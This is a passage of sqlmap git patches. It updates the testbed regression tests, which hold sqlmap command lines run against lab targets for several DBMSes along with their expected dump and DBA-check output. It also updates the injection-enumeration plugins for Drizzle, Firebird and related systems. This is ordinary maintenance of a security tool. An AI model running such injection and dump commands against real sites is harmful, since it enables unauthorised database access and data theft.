"NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is IBM DB2", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")), - ("-u 'http://testbed/db2/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("banner: 'DB2 v", "current user (equivalent to database on IBM DB2): 'DB2INST1'", "current user: 'DB2INST1'", "[1 column]", "| SURNAME | VARCHAR(1000) |")), + # Firebird + ("-u 'http://testbed/firebird/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump --banner --sql-query=\"SELECT 'foobar'\"", ("banner: '2.5", "Table: USERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "possible DBMS: 'Firebird'", "the back-end DBMS is Firebird", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/firebird/get_int.php?id=1' --flush-session --technique=U --is-dba --dump --banner --sql-query=\"SELECT 'foobar'\"", ("banner: '2.5", "Table: USERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is Firebird", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/firebird/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --search -C surname --answers='dump=n'", ("banner: '2.5", "current user: 'SYSDBA'", "[1 column]", "| SURNAME | VARCHAR |")), # Altibase ("-u 'http://testbed/altibase/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "Database: SYS", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'Altibase'", "the back-end DBMS is Altibase", "current user is DBA: True", ": 'foobar'")), ("-u 'http://testbed/altibase/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "Database: SYS", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is Altibase", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")), ("-u 'http://testbed/altibase/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("x86_64-unknown-linux-gnu", "current user (equivalent to database on Altibase): 'SYS'", "current user: 'SYS'", "[1 column]", "| SURNAME | VARCHAR |")), + # CockroachDB + ("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "CockroachDB fork", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'PostgreSQL'", "the back-end DBMS is PostgreSQL", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "CockroachDB fork", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is PostgreSQL", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --technique=E --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "CockroachDB fork", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: PostgreSQL AND error-based", "the back-end DBMS is PostgreSQL", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: PostgreSQL AND error-based", "Title: PostgreSQL > 8.1 stacked queries", "Title: PostgreSQL > 8.1 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "x86_64-unknown-linux-gnu", "current schema (equivalent to database on PostgreSQL): 'public'", "current user: 'root'", "[1 column]", "| surname | varchar |")), + # CrateDB ("-u 'http://testbed/cratedb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("4.0.10", "Database: doc", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'CrateDB'", "the back-end DBMS is CrateDB", "current user is DBA: True", ": 'foobar'")), ("-u 'http://testbed/cratedb/get_int.php?id=1' --flush-session --technique=B --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("4.0.10", "current schema (equivalent to database on CrateDB): 'doc'", "current user: 'crate'", "[1 column]", "| surname |")), - # CockroachDB - ("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "CockroachDB fork", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'PostgreSQL'", "the back-end DBMS is PostgreSQL", "current user is DBA: True", ": 'foobar'")), - ("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "CockroachDB fork", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is PostgreSQL", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")), - ("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: PostgreSQL AND error-based", "Title: PostgreSQL > 8.1 stacked queries", "Title: PostgreSQL > 8.1 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "x86_64-unknown-linux-gnu", "current schema (equivalent to database on PostgreSQL): 'public'", "current user: 'root'", "[1 column]", "| surname | varchar |")), + # Drizzle + ("-u 'http://testbed/drizzle/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("7.1.36-stable", "Drizzle fork", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'MySQL'", "the back-end DBMS is MySQL", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/drizzle/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("7.1.36-stable", "Drizzle fork", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is MySQL", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/drizzle/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: MySQL >= 5.0.12 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "7.1.36-stable", "current database: 'testdb'", "current user: 'root'", "[1 column]", "| surname | VARCHAR |")), + + # IBM DB2 + ("-u 'http://testbed/db2/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("banner: 'DB2 v", "Database: DB2INST1", "Table: USERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'IBM DB2'", "the back-end DBMS is IBM DB2", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/db2/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("banner: 'DB2 v", "Database: DB2INST1", "Table: USERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is IBM DB2", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/db2/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("banner: 'DB2 v", "current user (equivalent to database on IBM DB2): 'DB2INST1'", "current user: 'DB2INST1'", "[1 column]", "| SURNAME | VARCHAR(1000) |")), + + # MariaDB + ("-u 'http://testbed/mariadb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("10.4.12-MariaDB-1:10.4.12+maria~bionic", "MariaDB fork", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'MySQL'", "the back-end DBMS is MySQL", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/mariadb/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("10.4.12-MariaDB-1:10.4.12+maria~bionic", "MariaDB fork", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is MySQL", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/mariadb/get_int.php?id=1' --flush-session --technique=E --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("10.4.12-MariaDB-1:10.4.12+maria~bionic", "MariaDB fork", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: MySQL >= 5.0 AND error-based", "the back-end DBMS is MySQL", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/mariadb/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: MySQL >= 5.0 AND error-based", "Title: MySQL >= 5.0.12 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "10.4.12-MariaDB-1:10.4.12+maria~bionic", "current database: 'testdb'", "current user: 'root@%'", "[1 column]", "| surname | varchar(1000) |")), # MySQL ("-u 'http://testbed/mysql/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("8.0.19", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'MySQL'", "the back-end DBMS is MySQL", "current user is DBA: True", ": 'foobar'")), ("-u 'http://testbed/mysql/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("8.0.19", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is MySQL", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/mysql/get_int.php?id=1' --flush-session --technique=E --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("8.0.19", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: MySQL >= 5.0 AND error-based", "the back-end DBMS is MySQL", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")), ("-u 'http://testbed/mysql/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: MySQL >= 5.1 AND error-based", "Title: MySQL >= 5.0.12 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "8.0.19", "current database: 'testdb'", "current user: 'root@%'", "[1 column]", "| surname | varchar(1000) |")), # PostgreSQL diff --git a/plugins/dbms/firebird/enumeration.py b/plugins/dbms/firebird/enumeration.py index 248f3dc12..d43ffdc8b 100644 --- a/plugins/dbms/firebird/enumeration.py +++ b/plugins/dbms/firebird/enumeration.py @@ -27,12 +27,6 @@ class Enumeration(GenericEnumeration): return [] - def searchColumn(self): - warnMsg = "on Firebird it is not possible to search columns" - logger.warn(warnMsg) - - return [] - def getHostname(self): warnMsg = "on Firebird it is not possible to enumerate the hostname" logger.warn(warnMsg) diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index 6eacd1a0c..e88b957ba 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -43,6 +43,7 @@ from lib.core.dicts import INFORMIX_TYPES from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import EXPECTED +from lib.core.enums import FORK from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapNoneDataException @@ -607,6 +608,9 @@ class Databases(object): query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery + if Backend.isFork(FORK.DRIZZLE): + query = query.replace("column_type", "data_type") + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL): query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query += condQuery @@ -1016,7 +1020,10 @@ class Databases(object): rootQuery = queries[Backend.getIdentifiedDbms()].statements if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: - query = rootQuery.inband.query + if Backend.isFork(FORK.DRIZZLE): + query = rootQuery.inband.query2 + else: + query = rootQuery.inband.query while True: values = inject.getValue(query, blind=False, time=False) @@ -1039,6 +1046,10 @@ class Databases(object): logger.info(infoMsg) query = rootQuery.blind.count + + if Backend.isFork(FORK.DRIZZLE): + query = query.replace("INFORMATION_SCHEMA", "DATA_DICTIONARY") + count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if count == 0: @@ -1063,6 +1074,10 @@ class Databases(object): if isNoneValue(value): query = rootQuery.blind.query % index + + if Backend.isFork(FORK.DRIZZLE): + query = query.replace("INFORMATION_SCHEMA", "DATA_DICTIONARY") + value = unArrayizeValue(inject.getValue(query, union=False, error=False)) if not isNoneValue(value): diff --git a/plugins/generic/search.py b/plugins/generic/search.py index 8b537a37e..db717f4a4 100644 --- a/plugins/generic/search.py +++ b/plugins/generic/search.py @@ -345,6 +345,8 @@ class Search(object): def searchColumn(self): bruteForce = False + self.forceDbmsEnum() + if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: errMsg = "information_schema not available, " errMsg += "back-end DBMS is MySQL < 5.0" @@ -406,24 +408,26 @@ class Search(object): foundCols[column] = {} - if conf.tbl: - _ = conf.tbl.split(',') - whereTblsQuery = " AND (" + " OR ".join("%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl)) for tbl in _) + ")" - infoMsgTbl = " for table%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(tbl) for tbl in _)) + if tblCond: + if conf.tbl: + _ = conf.tbl.split(',') + whereTblsQuery = " AND (" + " OR ".join("%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl)) for tbl in _) + ")" + infoMsgTbl = " for table%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(tbl) for tbl in _)) if conf.db == CURRENT_DB: conf.db = self.getCurrentDb() - if conf.db: - _ = conf.db.split(',') - whereDbsQuery = " AND (" + " OR ".join("%s = '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in _) + ")" - infoMsgDb = " in database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in _)) - elif conf.excludeSysDbs: - whereDbsQuery = "".join(" AND %s != '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in self.excludeDbsList) - msg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in self.excludeDbsList)) - logger.info(msg) - else: - infoMsgDb = " across all databases" + if dbCond: + if conf.db: + _ = conf.db.split(',') + whereDbsQuery = " AND (" + " OR ".join("%s = '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in _) + ")" + infoMsgDb = " in database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in _)) + elif conf.excludeSysDbs: + whereDbsQuery = "".join(" AND %s != '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in self.excludeDbsList) + msg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in self.excludeDbsList)) + logger.info(msg) + else: + infoMsgDb = " across all databases" logger.info("%s%s%s" % (infoMsg, infoMsgTbl, infoMsgDb)) @@ -446,6 +450,9 @@ class Search(object): for tbl in conf.tbl.split(','): values.append([safeSQLIdentificatorNaming(db), safeSQLIdentificatorNaming(tbl, True)]) + if Backend.getIdentifiedDbms() in (DBMS.FIREBIRD,): + values = [(conf.db, value) for value in arrayizeValue(values)] + for db, tbl in filterPairValues(values): db = safeSQLIdentificatorNaming(db) tbls = tbl.split(',') if not isNoneValue(tbl) else [] @@ -538,8 +545,12 @@ class Search(object): logger.info(infoMsg) query = rootQuery.blind.count2 - query = query % unsafeSQLIdentificatorNaming(db) - query += " AND %s" % colQuery + if not re.search(r"(?i)%s\Z" % METADB_SUFFIX, db or ""): + query = query % unsafeSQLIdentificatorNaming(db) + query += " AND %s" % colQuery + else: + query = query % colQuery + query += whereTblsQuery count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) @@ -559,7 +570,9 @@ class Search(object): for index in indexRange: query = rootQuery.blind.query2 - if query.endswith("'%s')"): + if re.search(r"(?i)%s\Z" % METADB_SUFFIX, db or ""): + query = query % (colQuery + whereTblsQuery) + elif query.endswith("'%s')"): query = query[:-1] + " AND %s)" % (colQuery + whereTblsQuery) elif " ORDER BY " in query: query = query.replace(" ORDER BY ", " AND %s ORDER BY " % (colQuery + whereTblsQuery)) diff --git a/plugins/generic/users.py b/plugins/generic/users.py index 39a866f4e..1ea627eb1 100644 --- a/plugins/generic/users.py +++ b/plugins/generic/users.py @@ -36,6 +36,7 @@ from lib.core.dicts import PGSQL_PRIVS from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import EXPECTED +from lib.core.enums import FORK from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUserQuitException @@ -75,16 +76,22 @@ class Users(object): infoMsg = "testing if current user is DBA" logger.info(infoMsg) + query = None + if Backend.isDbms(DBMS.MYSQL): self.getCurrentUser() - query = queries[Backend.getIdentifiedDbms()].is_dba.query % (kb.data.currentUser.split("@")[0] if kb.data.currentUser else None) + if Backend.isFork(FORK.DRIZZLE): + kb.data.isDba = "root" in (kb.data.currentUser or "") + elif kb.data.currentUser: + query = queries[Backend.getIdentifiedDbms()].is_dba.query % kb.data.currentUser.split("@")[0] elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and user is not None: query = queries[Backend.getIdentifiedDbms()].is_dba.query2 % user else: query = queries[Backend.getIdentifiedDbms()].is_dba.query - query = agent.forgeCaseStatement(query) - kb.data.isDba = inject.checkBooleanExpression(query) or False + if query: + query = agent.forgeCaseStatement(query) + kb.data.isDba = inject.checkBooleanExpression(query) or False return kb.data.isDba @@ -98,10 +105,13 @@ class Users(object): condition |= (Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema) if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: - if condition: + if Backend.isFork(FORK.DRIZZLE): + query = rootQuery.inband.query3 + elif condition: query = rootQuery.inband.query2 else: query = rootQuery.inband.query + values = inject.getValue(query, blind=False, time=False) if not isNoneValue(values): @@ -115,7 +125,9 @@ class Users(object): infoMsg = "fetching number of database users" logger.info(infoMsg) - if condition: + if Backend.isFork(FORK.DRIZZLE): + query = rootQuery.blind.count3 + elif condition: query = rootQuery.blind.count2 else: query = rootQuery.blind.count @@ -134,10 +146,13 @@ class Users(object): for index in indexRange: if Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MAXDB): query = rootQuery.blind.query % (kb.data.cachedUsers[-1] if kb.data.cachedUsers else " ") + elif Backend.isFork(FORK.DRIZZLE): + query = rootQuery.blind.query3 % index elif condition: query = rootQuery.blind.query2 % index else: query = rootQuery.blind.query % index + user = unArrayizeValue(inject.getValue(query, union=False, error=False)) if user: From b7cdcebcea480a6ebbc73d52c3475453944860f7 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 10 Feb 2020 17:22:36 +0100 Subject: [PATCH 156/159] Minor patch for HSQLDB --- data/xml/queries.xml | 5 +++-- lib/core/settings.py | 2 +- lib/core/testing.py | 20 +++++++++++++++----- 3 files changed, 19 insertions(+), 8 deletions(-) diff --git a/data/xml/queries.xml b/data/xml/queries.xml index 0e42a664e..8a49d0f54 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -684,7 +684,8 @@ - + + @@ -692,7 +693,7 @@ - + diff --git a/lib/core/settings.py b/lib/core/settings.py index 259e69774..5a9a67744 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.2.28" +VERSION = "1.4.2.29" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index 908b2a251..c6ab29635 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -143,11 +143,6 @@ def bedTest(): """ TESTS = ( - # Firebird - ("-u 'http://testbed/firebird/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump --banner --sql-query=\"SELECT 'foobar'\"", ("banner: '2.5", "Table: USERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "possible DBMS: 'Firebird'", "the back-end DBMS is Firebird", "current user is DBA: True", ": 'foobar'")), - ("-u 'http://testbed/firebird/get_int.php?id=1' --flush-session --technique=U --is-dba --dump --banner --sql-query=\"SELECT 'foobar'\"", ("banner: '2.5", "Table: USERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is Firebird", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")), - ("-u 'http://testbed/firebird/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --search -C surname --answers='dump=n'", ("banner: '2.5", "current user: 'SYSDBA'", "[1 column]", "| SURNAME | VARCHAR |")), - # Altibase ("-u 'http://testbed/altibase/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "Database: SYS", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'Altibase'", "the back-end DBMS is Altibase", "current user is DBA: True", ": 'foobar'")), ("-u 'http://testbed/altibase/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "Database: SYS", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is Altibase", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")), @@ -168,6 +163,21 @@ def bedTest(): ("-u 'http://testbed/drizzle/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("7.1.36-stable", "Drizzle fork", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is MySQL", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")), ("-u 'http://testbed/drizzle/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: MySQL >= 5.0.12 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "7.1.36-stable", "current database: 'testdb'", "current user: 'root'", "[1 column]", "| surname | VARCHAR |")), + # Firebird + ("-u 'http://testbed/firebird/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump --banner --sql-query=\"SELECT 'foobar'\"", ("banner: '2.5", "Table: USERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "possible DBMS: 'Firebird'", "the back-end DBMS is Firebird", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/firebird/get_int.php?id=1' --flush-session --technique=U --is-dba --dump --banner --sql-query=\"SELECT 'foobar'\"", ("banner: '2.5", "Table: USERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is Firebird", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/firebird/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --search -C surname --answers='dump=n'", ("banner: '2.5", "current user: 'SYSDBA'", "[1 column]", "| SURNAME | VARCHAR |")), + + # H2 + ("-u 'http://testbed/h2/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("1.4.192", "Database: PUBLIC", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'H2'", "the back-end DBMS is H2", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/h2/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("1.4.192", "Database: PUBLIC", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is H2", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/h2/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: Generic inline queries", "Title: Generic UNION query (NULL) - 3 columns", "1.4.192", "current schema (equivalent to database on H2): 'PUBLIC'", "current user: 'SA'", "[1 column]", "| SURNAME | VARCHAR |")), + + # HSQLDB + ("-u 'http://testbed/hsqldb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("2.3.4", "Database: PUBLIC", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'HSQLDB'", "the back-end DBMS is HSQLDB", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/hsqldb/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("2.3.4", "Database: PUBLIC", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is HSQLDB", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/hsqldb/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: HSQLDB > 2.0 AND time-based blind (heavy query)", "Title: Generic UNION query (NULL) - 3 columns", "2.3.4", "current schema (equivalent to database on HSQLDB): 'PUBLIC'", "current user: 'SA'", "[1 column]", "| SURNAME | VARCHAR |")), + # IBM DB2 ("-u 'http://testbed/db2/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("banner: 'DB2 v", "Database: DB2INST1", "Table: USERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'IBM DB2'", "the back-end DBMS is IBM DB2", "current user is DBA: True", ": 'foobar'")), ("-u 'http://testbed/db2/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("banner: 'DB2 v", "Database: DB2INST1", "Table: USERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is IBM DB2", "appears to have 3 columns", "current user is DBA: 